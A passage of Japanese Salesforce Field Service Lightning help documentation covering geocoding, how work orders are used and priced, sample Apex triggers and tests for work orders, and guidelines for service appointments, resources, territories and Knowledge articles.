• State  — 都道府県の中心
• Unknown  — 住所の一致なし (無効な

住所など)
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地理コードデータの最新情報の維持
Salesforce では、定期的にこの 3 つの地理コード項目を更新して精度を確保しています。この更新は、(クリー
ンで最新の状態のデータを保つため)「クリーンアップルール」と呼ばれる機能で管理されます。レコード
の地理コード項目は、次のタイミングで更新されます。
• レコードが作成または更新されたとき
• レコードタイプのクリーンアップルールが無効化および再有効化されたとき

メモ:

• 地理コード項目は更新されるまで少し時間がかかります。処理時間は、一度に更新されるレコード
数によって異なります。

• クリーンアップルールで一括地理コード化が無効になっている場合、ルールの無効化または再有効
化では地理コード項目が更新されません。一括地理コード化はデフォルトで有効になっています。

レコードの地理コードデータの状況は、いくつかの方法で追跡できます。
• Salesforce Classic を使用している場合は、次の操作を実行します。

追跡するレコードの詳細ページレイアウトに [Data.com によるこのレコードのクリーンアップ] 関連リス
トを追加します。この関連リストには次の内容が含まれます。
– レコードの地理コードデータが最後に更新された時間。
– レコードの地理コード状況。各状況についての詳細は、「Data.com の更新状況」を参照してくださ

い。[同期済み] 状況は、地理コードデータが最新であることを意味します。
– 即時更新を手動で実行できる [クリーンアップ] リンク。

• Lightning Experience を使用している場合は、次の操作を実行します。
レコードのアクションドロップダウンメニューで[クリーンアップ状況を確認]を選択し、その地理コー
ド状況を表示します。

地理コードの除外方法
別の地理コードサービスをすでに使用しているためこの機能は使用しない場合、Field Service Lightning 地理
コードを除外できます。
1. [設定] から、[クイック検索] ボックスに「Data.com」と入力し、Data.com で [クリーンアップルール] を

選択します。
2. Field Service Lightning のエントリを探し、次の各ルールの横にある [無効化] をクリックします。

• 作業指示住所の地理コード
• 作業指示品目住所の地理コード
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• サービス予約住所の地理コード
• サービステリトリー住所の地理コード
• サービステリトリーメンバー住所の地理コード
• 人員の不在住所の地理コード

メモ:

• Field Service Lightning管理パッケージを使用している場合、地理コードを除外すると、フィールドサービ
スレコードの緯度、経度、および地理コードの精度が計算されなくなります。この地理コードデータ
がない場合、スケジュールオプティマイザは正常に機能しません。

• Winter '17 より前に作業指示を使用していた場合、Field Service Lightningを有効にすると、組織内のすべて
の既存作業指示で地理コードが自動的に有効になり、その地理コード項目に入力されます。Field Service

Lightning を有効化しない場合、作業指示で地理コード機能は使用できません。

関連トピック:

Field Service Lightning の設定
Field Service Lightning のガイドライン

作業指示の使用に関する考慮事項
ビジネスを円滑に遂行するために作業指示をどのように使用でき、どのように使用すべきかについてのインサ
イトを得ることができます。

サポートプロセスへの作業指示の適合方法
作業指示は便利なサポートツールで、特にフィールドサービスを提供する場合に役立ちます。いくつかの
方法で作業指示をサポートプロセスに組み込むことができます。
作業指示の価格設定のしくみ
作業指示および作業指示品目には、価格設定関連項目がいくつかあります。これらの項目の影響やその使
用方法について確認します。
作業指示の Apex コードサンプル
次の Apex サンプルを使用して、サポートプロセスの作業指示のロールをカスタマイズおよび自動化しま
す。
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サポートプロセスへの作業指示の適合方法

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

作業指示は便利なサポートツールで、特にフィールドサービスを提供する場合
に役立ちます。いくつかの方法で作業指示をサポートプロセスに組み込むこと
ができます。
推奨されるいくつかの方法を次に示します。

状況に対応するために作業指示を使用
する方法

状況

故障した納入商品の修理: 顧客が納入
商品 (車など) を購入します。その納入
商品に問題が発生したため、顧客から
連絡があり問題が報告されます。エー
ジェントがその連絡に基づいてケース
を作成し、納入商品を修理するために

1. エージェントがその納入商品の「納
入商品の修理」作業指示を作成し、
問題について簡潔に説明します。

2. エージェントは作業指示でサービ
ス予約を作成し、対応可能なサー
ビス人員にそれを割り当てます。技術者を顧客のもとに派遣すべきかど

うかを判断します。 3. 納入商品を修理するためにサービ
ス人員が派遣されます。

4. サービス人員は、重要な交換部品
がないことに気づきます。サービ
ス予約の状況を [完了]に変更し、
交換部品を取り付けるため、作業
指示で 2 番目のサービス予約を作成
します。

5. 割り当てられたサービス人員は、
部品を取り付けて 2 番目の予約を完
了すると、サービス予約とその親
作業指示の両方で状況を [完了]に
変更します。

6. エージェントがケースをクローズ
します。

予防メンテナンスの実行: 顧客が、5 年
間の予防メンテナンス契約が適用され

1. サービスエージェントがその納入
商品の「年 1 回のメンテナンス」作
業指示を作成します。る納入商品を購入します。この契約で

は、顧客が毎年 1 回の予防メンテナン
2. エージェントは、技術者が完了す

る必要があるメンテナンス作業を
スを受けることができます。年 1 回の
メンテナンスは、Salesforce では納入商

表す品目名を作業指示に追加しま
す。

品レコードにリンクされたエンタイト
ルメントで表されます。

3. エージェントは作業指示でサービ
ス予約を作成し、サービス人員に
それを割り当てます。
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状況に対応するために作業指示を使用する方法状況

4. メンテナンスチェックを完了するためにサービス
人員が派遣されます。

5. 作業指示の各品目名が完了するたびに、人員はそ
の品目名の状況を「完了」に変更します。人員は、
すべての品目を完了すると、サービス予約とその
親作業指示の両方で状況を「完了」に変更します。

6. 翌年の納入商品のメンテナンスでは、エージェン
トがこの作業指示のコピーをすばやく作成できま
す。

上記のアプローチは作業指示の一般的な用途を表すものですが、作業指示の使用方法をカスタマイズする方法
は他にも多くあります。次に、いくつか例を示します。
• 納入商品、ケース、および取引先の「新規作業指示」クイックアクションを作成する。

メモ: エンタイトルメントとサービス契約ではクイックアクションはサポートされません。

• 新規作業指示の取引先、納入商品、および取引先責任者の項目をその親レコードに合わせて自動的に更新
するクイックアクションを作業指示に設定する。

• 組織で階層納入商品を使用している場合、作業指示の品目名を別の納入商品に割り当てることで、特定の
サブタスクをより正確に追跡する。たとえば、「自動車」納入商品にリンクされた作業指示に、子の「ヘッ
ドライト」納入商品にリンクされた品目名を含めることができます。[作業指示品目] 関連リストを納入商
品ページレイアウトに追加すると、ユーザが納入商品に関連付けられている品目をすべて参照できるよう
になります。

組織で作業指示のカスタマイズに使用できる Apex コードサンプルは、「作業指示の Apex コードサンプル」を
参照してください。

関連トピック:

作業指示の使用に関するガイドライン
作業指示の設定
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作業指示の価格設定のしくみ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

作業指示および作業指示品目には、価格設定関連項目がいくつかあります。こ
れらの項目の影響やその使用方法について確認します。
作業指示には、次の価格関連項目があります。これらの項目を使用する場合は、
それを作業指示ページレイアウトに追加します。

説明作業指示項目

(参照のみ) 作業指示のすべての品目名
に対する割引の重みつき平均。これは
100 までの正の数です。

割引

(参照のみ) 割引および税金を適用する
前の作業指示品目の合計。

小計

(参照のみ) 割引後の作業指示品目の合
計金額 (税別)。

合計金額

(参照のみ) 作業指示の合計金額 (税込)。総計

作業指示に関連付けられた価格表。価
格表を作業指示に追加すると、価格表

価格表

に含まれる商品に各作業指示品目をリ
ンクできます。

通貨形式の作業指示の消費税等総額
(パーセントを入力しないでください)。

税金

たとえば、合計金額が $100 の作業指示
の場合、10 パーセントの税金を適用す
るには「$10」と入力します。通貨記号
を使用して、または使用せずに数値を
入力できます。また、小数点以下の桁
数は最大 2 桁です。

また、作業指示品目には、次の価格関連項目があります。これらの項目を使用する場合は、それを作業指示品
目ページレイアウトに追加します。

説明作業指示品目項目

品目の小計に適用する割引率。パーセント記号を使用
して、または使用せずに数値を入力できます。また、
小数点以下の桁数は最大 2 桁です。

割引

(参照のみ) 品目の単価に数量を乗じた金額。小計
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説明作業指示品目項目

(参照のみ) 品目の小計に割引が適用された価格。単価
を追加して品目を保存するまで、この項目は空白で
す。

合計金額

(参照のみ) 対応する価格表エントリに表示される品目
(商品) の価格。商品が選択されていない場合は、デ
フォルトの 0 に設定されます。

リスト価格

メモ: 品目にリンクする商品を選択すると、ルッ
クアップウィンドウで、その名前と ID の横に商
品のリスト価格を表示できます。リスト価格項
目には、品目を保存したときに情報が入力され
ます。

品目に関連付けられた商品の名前。ルックアップで
は、親作業指示の価格表に含まれる商品のみが表示さ

商品

れます。商品を選択して品目を保存すると、品目の次
の項目に情報が入力されます。
• リスト価格
• 単価
• 小計
• 合計金額

メモ: 商品項目ではインライン編集がサポート
されません。品目の商品を変更するには、[編集]

をクリックします。商品を追加すると、作業指
示の価格表の関連エントリに基づいて、リスト
価格、単価、小計、合計金額が更新されます。

デフォルトでは、作業指示品目の単価は価格表からの
品目のリスト価格ですが、変更できます。

単価

作業指示およびそれらの品目名の価格項目を入力する場合、次のガイドラインに留意してください。
• 割引を作業指示に適用するには、品目レベルで割引を適用します。作業指示に品目名がない場合、その割

引はゼロになります。
• 作業指示の価格項目を入力する場合、[価格表] および [税金] 項目のみを入力します。[割引]、[小計]、

[合計金額]、[総計] 項目は、品目名項目に基づいてすべて自動的に計算されます。
• 作業指示品目の価格項目を入力する場合、[商品]および [割引]項目のみを入力します。[小計]、[合計金

額]、[リスト価格]、[単価] 項目は、他の品目名項目に基づいてすべて自動的に計算されます。
• 作業指示品目を商品にリンクする必要はありません。たとえば、作業指示品目を使用して ToDo を追跡した

い場合があります。[商品]項目が空白である場合は、[リスト価格]、[単価]、[割引]、[数量]、[小計]、
[合計金額] の各項目を使用でません。
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メモ:

• 作業指示にリンクしている価格表を削除することはできません。
• 作業指示品目にリンクしている商品を削除することはできません。
• 作業指示品目にリンクしている価格表エントリを削除することはできません。価格表エントリは、[商

品] 参照項目によって作業指示品目にリンクします。
• 品目が価格表の商品にリンクしている場合は、その価格表を作業指示から削除できません。
• Lightning Experience では、商品を作業指示品目に追加できません。Salesforce Classic または API を使用して

ください。Salesforce Classicで作業指示品目を作成して商品を組み込んだ場合、Lightning Experienceでは数
量と単価を更新できますが、商品を更新することはできません。

関連トピック:

作業指示項目
作業指示品目の項目
作業指示の設定

作業指示の Apex コードサンプル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

次の Apex サンプルを使用して、サポートプロセスの作業指示のロールをカスタ
マイズおよび自動化します。

ヒント: Apexの新規ユーザですか? 『Force.com Apex コード開発者ガイド』を
参照してください。

サンプルトリガ 1

このトリガは、すべての品目がクローズされるまでユーザが作業指示をク
ローズできないようにします。この方法は、すべてのスケジュール済み ToDo

が確実に完了されるようにする場合に適しています。
組織で作業指示トリガを定義する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「作業指示」と入力し、[作業指示]

の [トリガ] をクリックします。
2. [新規] をクリックします。
3. トリガのテキストをコピーし、テキスト項目に貼り付けます。
4. [保存] をクリックします。
trigger ValidateWorkOrderLineItem on WorkOrder (before update) {

for(WorkOrder w : Trigger.New) {
if(w.Status =='Closed'){

List<WorkOrderLineItem> woLineItemList = [Select wo.Status
From WorkOrderLineItem wo where wo.WorkOrderId=:w.Id];

if(woLineItemList.isEmpty()==false){
for(WorkOrderLineItem woLineItem : woLineItemList){

if(woLineItem.Status != 'Closed'){
w.addError('You cannot close a work order until all of its

line items are closed.');
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}
}

}
}

}
}

サンプルトリガ 2

このトリガは、ケースの作業指示が [クローズ済み] とマークされている場合に自動的にケースをクローズ
します。ケースに複数の作業指示がある場合、トリガは最初の作業指示が [クローズ済み] とマークされた
時点で起動します。これにより、関連する作業が完了した後にサポートエージェントが手動でケースをク
ローズする必要がなくなります。
trigger CloseCaseWhenWoId on WorkOrder (after update) {

for (WorkOrder wo: Trigger.new) {
try {

if (wo.Status == 'closed') {
Case ca = [SELECT Status from case where id = :wo.CaseId];
ca.Status ='closed';
update ca;

}
} catch (Exception e) {

}
}

}

トリガ 2 の単体テスト
開発者コンソールでApex単体テストを設定し、コードに問題がないかをスキャンできます。円滑に進める
ためには、テストでApexコード行の 4 分の 3 以上がカバーされている必要があります。この単体テストは、
サンプルトリガ 2 に適用されます。
@isTest
private class WOTriggerTest {

static testMethod void validateWO() {
Case ca = new Case();
ca.Origin ='Phone';
ca.Status ='new';
insert(ca);

WorkOrder wo = new WorkOrder();
wo.Subject = 'test';
wo.Status ='closed';
wo.CaseId = ca.Id;
insert(wo);
update(wo);
Case ca1 = [SELECT Status from Case where id= :ca.Id];
System.assertEquals('Closed', ca1.Status);

}
}
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作業指示 Apex クラス
Apex クラスを使用することで、トリガのサイズが小さくなり、Apex コードの再利用や管理が容易になりま
す。トリガで参照できるこのクラスは、1 つの品目を含む作業指示を作成します。
public class CreateWorkOrderLineItem{
public WorkOrderLineItem createWorkOrderLineItem(){

WorkOrder wo = new WorkOrder();
wo.subject ='title';
insert wo;
WorkOrderLineItem woli = new WorkOrderLineItem();
woli.workOrderId = wo.Id;
woli.description = 'abcd';
return woli;
}
}

作業指示 Apex クラスの単体テスト
この単体テストは、作業指示 Apex クラスに適用されます。
@isTest
public class TestWorkOrderLineItem {

static testMethod void testCreateWorkOrderLineItem()
{

CreateWorkOrderLineItem cwoLi = new CreateWorkOrderLineItem();
cwoLi.createWorkOrderLineItem();

}
}

関連トピック:

作業指示の使用に関する考慮事項
作業指示項目

Field Service Lightning のガイドライン

Field Service Lightning 機能を使用する状況とその方法について説明します。

サービス予約の使用に関するガイドライン
サービス予約は、フィールドサービス技術者が顧客の作業を実行するための予約です。サービス予約を作
成および管理する方法を学習します。
サービス人員の使用に関するガイドライン
サービス人員は、フィールドサービス作業を実行できるユーザです。サービス人員を作成および管理する
方法について説明します。
サービステリトリーの使用に関するガイドライン
サービステリトリーは、チームがフィールドサービス作業を実行する地域を表します。サービステリトリー
を作成および管理する方法について説明します。
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作業指示の使用に関するガイドライン
作業指示は、商品に対して実行する ToDo の追跡に役立ちます。作業指示の作成方法および管理方法を習得
してください。
作業指示でのナレッジの使用に関するガイドライン
ナレッジ記事を作業指示や作業指示品目に添付して、フィールドの技術者が重要な作業手順情報やガイド
ライン、仕様などにアクセスできるようにします。

サービス予約の使用に関するガイドライン
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

サービス予約を表示する
• サービス予約に対する

「参照」

サービス予約を作成する
• サービス予約に対する

「作成」

サービス予約を削除する
• サービス予約に対する

「削除」

サービス人員をサービス
予約に割り当てる
• サービス予約に対する

「編集」およびサービ
ス人員に対する「参
照」

サービス予約は、フィールドサービス技術者が顧客の作業を実行するための予
約です。サービス予約を作成および管理する方法を学習します。
サービス予約の表示

サービス予約は、[サービス予約] タブに表示されます。また、いくつかのレ
コードの詳細ページにも表示されます。
• サービス人員に割り当てられた予約は、人員の詳細ページの [サービス予

約] 関連リストに表示されます。
• レコードに関連するサービス予約は、レコード詳細ページの [サービス予

約] 関連リストに表示されます。サービス予約は、取引先、納入商品、商
談、作業指示、作業指示品目に追加できます。

サービス予約の作成
サービス予約は、[サービス予約] タブか、サポートされるレコードの [サービ
ス予約] 関連リストから作成します。サービス人員の [サービス予約] 関連リ
ストからサービス予約を作成することはできませんが、既存のサービス予約
に人員を割り当てることはできます。

サービス予約の削除
サービス予約を削除して、キャンセルされたことを示すことができます。レ
コードを削除すると、子サービス予約も削除されます。

サービス予約と他のレコードの関連付け
サービス予約には常に親レコード (作業指示、作業指示品目、商談、取引先、
納入商品のいずれか) があります。親レコードのタイプによって、サービス
予約の特性がわかります。
• 作業指示と作業指示品目のサービス予約は、実施される作業のより詳細

なビューを提供します。作業指示と作業指示品目では作業に関する一般
情報を入力できますが、サービス予約ではスケジュールと所有権に関す
る詳細を入力します。

• 納入商品のサービス予約は、納入商品に対して実施する作業を表します。
• 取引先のサービス予約は、取引先に対して実施する作業を表します。
• 商談のサービス予約は、商談に関連する作業を表します。
たとえば、顧客の年 1 回の冷蔵庫メンテナンスを追跡する作業指示を作成するとします。作業指示の [サー
ビス予約] 関連リストで、[年 1 回のメンテナンス] 予約を作成します。
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予約時間中に技術者はほとんどのメンテナンスを完了しますが、交換部品の注文と取り付けが必要である
と判断します。技術者が予約状況を [完了不可]に変更し、取り付けを追跡する 2 つ目のサービス予約が作
業指示上に作成されます。2 つ目の予約が終了し、冷蔵庫が完全に修理されたことが確認されたら、2 つ目
の予約と作業指示を完了できます。とても簡単でしょう!

関連トピック:

サービス予約の項目

サービス人員の使用に関するガイドライン
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

サービス人員を参照する
• サービス人員に対する

「参照」

サービス人員を作成する
• サービス人員に対する

「作成」

サービス人員をサービス
予約に割り当てる
• サービス予約に対する

「編集」およびサービ
ス人員に対する「参
照」

サービス人員を無効にす
る
• サービス人員に対する

「編集」

サービス人員は、フィールドサービス作業を実行できるユーザです。サービス
人員を作成および管理する方法について説明します。
サービス人員の参照

サービス人員は、[サービス人員] タブで参照します。その他にも、次の方法
で参照できます。
• サービス予約に割り当てられた人員は、予約の詳細ページの [割り当て済

み人員] 関連リストに表示されます。
• サービステリトリーに属する人員は、テリトリーの詳細ページの [サービ

ステリトリーメンバー] 関連リストに表示されます。
サービス人員の作成

サービス人員は、[サービス人員] タブから作成します。各レコードが人員種
別 (技術者または派遣担当者) である場合、ユーザに最大 2 つのサービス人員
レコードを関連付けることができます。

サービス予約へのサービス人員の割り当て
予約の詳細ページの [割り当て済み人員] 関連リストを使用して、人員をサー
ビス予約に割り当てます。必要に応じて、[設定] の [割り当て済み人員] ノー
ドから関連リストのレイアウトを変更できます。1 つの予約に複数の人員を
割り当てることができます。

サービス人員の無効化
追跡の目的のために、人員は削除できず、無効化のみを行うことがきます。
ユーザを無効にするには、詳細ページで [有効] を選択解除します。
ユーザを無効にすると、関連付けられたサービス人員も無効になります。無
効なユーザに関連付けられたサービス人員は作成できません。

サービス人員スケジュールの参照
[サービス予約] 関連リストには、人員に割り当てられたすべての予約が表示
されます。人員の [不在] 関連リストでは、人員が作業できない期間を定義で
きます。スケジュールオプティマイザが含まれるField Service Lightning管理パッ
ケージを使用していない場合、人員を不在と競合する予約に割り当てること
ができます。

ヒント: 人員が不在を作成するときにスーパーバイザに承認申請を送信するトリガを作成します。
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Field Service Lightning管理パッケージを使用していない場合、個々のサービス人員のカレンダービューは使用
できません。

取引先への優先サービス人員の追加
特定の取引先または作業指示で特定の人員を優先、必須、または除外と指定できます。作業指示は、関連
付けられた取引先の人員設定を継承します。
[人員設定] 関連リストを使用して、取引先または作業指示に設定を追加します。サービス人員を選択し、
設定レベルを選択して変更を保存します。
人員設定は、要件というよりも提案として機能します。関連付けられた作業指示の人員設定に関わらず、
任意の人員をサービス予約に割り当てることができます。

関連トピック:

サービス人員の設定
サービス人員の項目
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サービステリトリーの使用に関するガイドライン
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

サービステリトリーを参
照する
• サービステリトリーに

対する「参照」

サービステリトリーを作
成する
• サービステリトリーに

対する「作成」

サービステリトリーを削
除する
• サービステリトリーに

対する「削除」

サービステリトリーに
サービス人員を割り当て
る
• サービステリトリーに

対する「編集」

サービステリトリーは、チームがフィールドサービス作業を実行する地域を表
します。サービステリトリーを作成および管理する方法について説明します。
サービステリトリーの参照

[サービステリトリー] タブでサービステリトリーを参照します。人員の詳細
ページの [サービステリトリー] 関連リストで、サービス人員のテリトリーを
参照することもできます。

サービステリトリーの作成
サービステリトリーを使用する場合、作成の必要があるテリトリーを決定し
ます。ビジネスの形態に応じて、都道府県、市区郡、またはその他の要素に
基づいたテリトリーを作成します。サービステリトリーの階層を作成する場
合は、最初に最上位レベルのテリトリーを作成します。サービステリトリー
階層には、最大で 500 件のテリトリーを含めることができます。
Salesforce の [サービステリトリー] タブでサービステリトリーを作成します。
テリトリーの作成後、[サービステリトリーメンバー] 関連リストからメンバー
を追加できます。サービステリトリーメンバーはテリトリー内で作業する人
員であり、メンバーをテリトリーと関連付けると、メンバーは本拠地に近い
予定に割り当てられます。

サービス人員へのサービステリトリーの割り当て
サービス人員を複数のテリトリーに関連付け、人員が作業可能かどうかを示
すことができます。人員の詳細ページの [サービステリトリー] 関連リスト、
またはテリトリーの詳細ページの [サービステリトリーメンバー] 関連リスト
で、人員にテリトリーを割り当てます。
人員にテリトリーを割り当てるときに、[種別] 項目を使用してテリトリー
が人員のプライマリ、セカンダリ、再配置テリトリーのいずれであるかを示
します。
• プライマリテリトリーは通常、人員が最も頻繁に作業するテリトリー (本

拠地の周辺など) です。人員に割り当てることができるプライマリテリト
リーは 1 つのみです。

• セカンダリテリトリーは、必要に応じて人員を予約に割り当て可能なテ
リトリーです。人員に複数のセカンダリテリトリーを割り当てることが
できます。

• 再配置テリトリーは、一時的な異動を表します。スケジュールオプティマイザが含まれる Field Service

Lightning 管理パッケージを使用している場合、再配置テリトリーのある人員は、指定された再配置日付
中は常に再配置テリトリー内のサービスに割り当てられます。再配置テリトリーがない場合、プライマ
リテリトリーがセカンダリよりも優先されます。

サービステリトリーの削除
サービス予約のあるサービステリトリーは削除できません。削除しようとすると、予約を別のテリトリー
に割り当てるように促されます。
メンバーが割り当てられているサービステリトリーを削除すると、メンバーである人員とそのテリトリー
の関連付けは解除されます。
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例: テリトリーの階層を作成して、カリフォルニア内のチームが作業するエリアを表すことができます。
カリフォルニアという名前の最上位のテリトリー、カリフォルニア北部、カリフォルニア中部、カリフォル
ニア南部という名前の 3 つの子テリトリー、およびカリフォルニアの郡に対応する一連の第 3 階層のテリ
トリーを追加します。サービス人員を各郡テリトリーに割り当て、その郡で誰が作業可能かを示します。

関連トピック:

サービステリトリーの設定
サービステリトリーの項目

作業指示の使用に関するガイドライン
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

作業指示に対する「参照」[作業指示] タブ、作業指示、および作業
指示品目を表示する

作業指示に対する「作成」作業指示を作成またはコピーする

作業指示に対する「編集」作業指示を編集する

作業指示に対する「削除」作業指示を削除する

作業指示に対する「編集」作業指示品目を作成、編集、および削除
する

作業指示は、商品に対して実行する ToDo の追跡に役立ちます。作業指示の作成
方法および管理方法を習得してください。
作業指示の表示

作業指示は、取引先、納入商品、ケース、取引先責任者、エンタイトルメント、サービス予約、サービス
契約、および他の作業指示と関連付けることができます。[作業指示] タブに作業指示を表示してください。
次のレコード詳細ページの [作業指示] 関連リストにも、レコードに関連付けられている作業指示が表示さ
れます。
• 取引先
• 納入商品
• ケース
• 取引先責任者
• エンタイトルメント
• サービス契約

ヒント: Salesforceシステム管理者が作業指示を含むコンソールを設定している場合、[コンソール] タブ
をクリックして、作業指示とそれに関連するレコードを 1 か所で表示および編集できます。
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作業指示の作成
作業指示は、サポートされているオブジェクトの [作業指示] タブまたは [作業指示] 関連リストで作成およ
び編集できます。組織の作業指示の設定によっては、一部のレコードでこの関連リストが使用できない場
合があります。

ヒント: 作業指示を作成する場合は、[作業指示品目] 関連リストにより、品目名を作業指示に追加しま
す。作業指示品目は、作業指示を完了するために技術者が実施する必要のある具体的な ToDo を表しま
す。これらは 1 つずつ完了とマークすることができ、フィールドサービスのプロセスを簡単に追跡で
きるほか、プロセスが向上します。割引や単価などの価格設定の詳細は、作業指示の品目名レベルで
設定されます。

作業指示の削除
作業指示は、作業指示の詳細ページまたは [作業指示] 関連リストで削除します。削除した作業指示はごみ
箱に移動されます。作業指示に関連付けられているメモ、添付ファイル、活動、品目名、サービス予約も
削除されます。作業指示を元に戻すと、関連付けられている項目も復元されます。

作業指示の共有
組織のデフォルトの共有モデルで許可されている以外の、作業指示に対する他のユーザのアクセスを許可
できる場合があります。ただし、デフォルトよりも厳しくするために共有モデルを変更することはできま
せん。
作業指示にアクセスできるユーザを参照するには、作業指示の詳細ページで [共有] をクリックします。作
業指示品目は、親作業指示の共有設定を継承します。
共有ルールを設定して作業指示の共有を制御する方法については、「作業指示共有ルールの作成」を参照
してください。

作業指示とサービス予約の連動
作業指示と作業指示品目のサービス予約は、実施される作業のより詳細なビューを提供します。作業指示
と作業指示品目では作業に関する一般情報を入力できますが、サービス予約ではスケジュールと所有権に
関する詳細を入力します。
たとえば、顧客の年 1 回の冷蔵庫メンテナンスを追跡する作業指示を作成するとします。作業指示の [サー
ビス予約] 関連リストで、[年 1 回のメンテナンス] 予約を作成します。
予約時間中に技術者はほとんどのメンテナンスを完了しますが、交換部品の注文と取り付けが必要である
と判断します。技術者が予約状況を [完了不可]に変更し、取り付けを追跡する 2 つ目のサービス予約が作
業指示上に作成されます。2 つ目の予約が終了し、冷蔵庫が完全に修理されたことが確認されたら、2 つ目
の予約と作業指示を完了できます。とても簡単でしょう!

作業指示と納入商品の連動
作業指示を納入商品とリンクすると、設置、修理、予防メンテナンスなど、納入商品で実行する作業を追
跡できます。作業指示と納入商品のリンクは、納入商品詳細ページの [作業指示] 関連リスト、または作業
指示の納入商品参照項目で行うことができます。作業指示を納入商品にリンクする場合は、次のガイドラ
インに従ってください。
• 作業指示が特定の納入商品に関連している場合は、作業を簡単に追跡できるように、Salesforceで作業指

示を納入商品にリンクします。
• 顧客が購入した納入商品に問題が生じたためにケースが進行中の場合は、その納入商品を検査または修

理するための作業指示を作成する必要がある場合があります。その場合、ケースの所有者が進行状況を
追跡できるように、作業指示をケースにリンクします。
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• 納入商品に関する定期的な標準メンテナンスを追跡する必要がある場合は、関連する作業指示をそのメ
ンテナンスについて説明するエンタイトルメントやサービス契約にリンクします。

作業指示のレポートの作成
カスタムレポートタイプを作成し、組織の作業指示を追跡します。詳細は、「Field Service Lightning レポート
の作成」を参照してください。

メモ:  [オブジェクトマイルストン] カスタムレポートタイプを使用して、マイルストンが設定されてい
る作業指示を組織に表示することもできます。作業指示のレポートには、[マイルストン状況]および
[マイルストン状況アイコン] 項目を使用できません。

ナレッジ記事の作業指示への添付
ナレッジ記事を作業指示や作業指示品目に添付して、フィールド技術者が商品仕様や説明などにすばやく
アクセスできるようにします。詳細は、「作業指示でのナレッジの使用に関するガイドライン」を参照し
てください。

関連トピック:

作業指示の設定
作業指示の使用に関する考慮事項
作業指示項目
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作業指示でのナレッジの使用に関するガイドライン
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

作業指示または作業指示
品目に記事を添付または
添付解除する
• 作業指示に対する「参

照」および記事タイプ
に対する「参照」およ
びナレッジの有効化

ページレイアウトを編集
する
• 「アプリケーションの

カスタマイズ」

コンソールレイアウトを
編集する
• 「アプリケーションの

カスタマイズ」および
「Service Cloud ユー
ザ」

ナレッジ記事を作業指示や作業指示品目に添付して、フィールドの技術者が重
要な作業手順情報やガイドライン、仕様などにアクセスできるようにします。
記事の添付

作業指示または作業指示品目に記事を添付する場合、次の 2 通りの方法があ
ります。
• 記事を添付するレコードに移動します。コンソールの Knowledge One ウィ

ジェットで、記事を検索します。記事のアクションメニューで、[作業指
示に添付] または [作業指示品目に添付] をクリックします。

• 記事を添付するレコードに移動します。[記事] 関連リストで、[記事を検
索]をクリックします。検索を使用して記事を見つけ、記事のアクション
メニューで、[作業指示に添付]または[作業指示品目に添付]をクリックし
ます。

添付記事の表示
作業指示または作業指示品目に添付されている記事は、Knowledge One ウィ
ジェットおよびレコードの [記事] 関連リストに表示されます。記事を表示す
るには、タイトルをクリックします。また、関連リストのフィード追跡が有
効になっている場合は、作業指示または作業指示品目のフィードからも添付
記事に移動できます。
記事の詳細ページの [リンク済み作業指示] および [リンク済み作業指示品目]

関連リストに、記事がどのレコードに添付されているかが表示されます。
記事の添付解除

作業指示または作業指示品目から記事を添付解除する場合、次の 2 通りの方
法があります。
• 記事が添付されているレコードに移動します。コンソールの Knowledge One

ウィジェットで、記事のアクションメニューの [作業指示から添付解除]

または [作業指示品目から添付解除] をクリックします。
• 記事が添付されているレコードに移動します。[記事] 関連リストで、記事

の横にある [添付解除] をクリックします。
添付記事の更新

記事が変更されている場合は、その記事に移動して [編集] をクリックすると、新バージョンを公開できま
す。
記事をレコードに添付すると、それ以降のバージョンが公開されても、添付したバージョンの記事がレコー
ドに関連付けられたままになります。必要に応じて、記事を添付解除してからレコードに再添付して、レ
コードに最新バージョンの記事がリンクされるようにします。リンク済み記事の詳細ページの [リンク済
み記事のバージョン] 項目から、添付されたバージョンに移動します。

リンク済み記事の管理
[設定] の [リンク済み記事] ノードの [ナレッジ] で、リンク済み記事のページレイアウトや項目、入力規則な
どをカスタマイズします。
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コンソールおよびページレイアウトの設定方法を学習して、記事を作業指示や作業指示品目に添付できる
ようにするには、「作業指示の設定」を参照してください。

(1) [記事] 関連リストから、レコードに添付された記事を表示および変更します。
(2) 記事のプロパティを表示するには [表示] をクリックし、記事自体を表示するにはそのタイトルをクリック
します。レコードから記事を削除するには、[添付解除] をクリックします。
(3) コンソールサイドバーの Knowledge One ウィジェットでは、添付記事の管理、推奨記事の表示、知識ベース
の検索が行えます。
(4) 各記事のアクションメニューには、記事を添付または添付解除するオプションがあります。

警告:

• 記事ウィジェットとフィード記事ツールは、フィードビューでは使用できません。
• クイックアクションとグローバルアクションは、リンクされた記事ではサポートされていません。
• ナレッジホームページの記事ツールバーで、記事を作業指示または作業指示品目に添付することはで

きません。
• Lightning Experience または Salesforce1 では、記事の [リンク済み作業指示] および [リンク済み作業指示品

目] 関連リストを使用できません。
• Lightning Experience および Salesforce1 では、リンク済み記事は参照のみです。
• Lightning Experienceでフィード項目内の記事リンクをクリックすると、Salesforce Classicの記事ページにリ

